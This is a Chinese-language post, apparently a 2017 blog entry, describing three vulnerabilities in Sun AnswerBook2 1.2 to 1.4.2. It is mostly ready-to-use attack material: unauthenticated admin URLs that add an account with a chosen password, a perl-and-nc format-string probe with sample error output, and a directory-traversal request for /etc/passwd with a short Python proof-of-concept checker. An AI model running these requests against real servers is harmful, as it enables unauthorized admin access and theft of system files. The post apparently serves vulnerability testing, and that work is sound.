Sun公司的產品AnswerBook存在多種漏洞
阿新 • • 發佈:2017-12-22
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一、未授權管理腳本訪問漏洞:
1、受影響版本:
Sun-AnswerBook2 1.2-1.4.2
2、攻擊測試手段
http://a.b.c.d:8888/ab2/@AdminViewError#訪問錯誤日誌
http://a.b.c.d:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar#添加賬戶(密碼)
二、遠程格式化字符串漏洞
1、受影響版本:
Sun-AnswerBook2 1.2-1.4.2
2、攻擊測試手段:
1 perl -e ‘print"GET /";print"%x"x20;print" HTTP/1.0\r\n\r\n\r\n"‘ | nc localhost 8888
應該可以看到如下報錯:
http-8888 [23/Sep/2000:13:09:37 -0700] warning: send-file reports: The
requested object "/usr/lib/ab2/data/docs/0fea19f580073656e642d66696c6520
7265706f7274733a2054686520726571756573746564206f626a65637420222f7573722f6
c69622f6162322f646174612f646f63732f" could not be opened!
三、任意文件讀取(有些HTTP-Proxy也有這個漏洞):
直接連接connect漏洞主機的對應的端口()
發送Payload
1 GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n
就可以得到對應的文件內容
參考巡風的POC:
1 def check(ip, port, timeout): 2 try: 3 socket.setdefaulttimeout(timeout) 4 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 s.connect((ip, int(port)))6 flag = "GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n" 7 s.send(flag) 8 data = s.recv(1024) 9 s.close() 10 if ‘root:‘ in data and ‘nobody:‘ in data: 11 return u"漏洞" 12 except: 13 pass
Sun公司的產品AnswerBook存在多種漏洞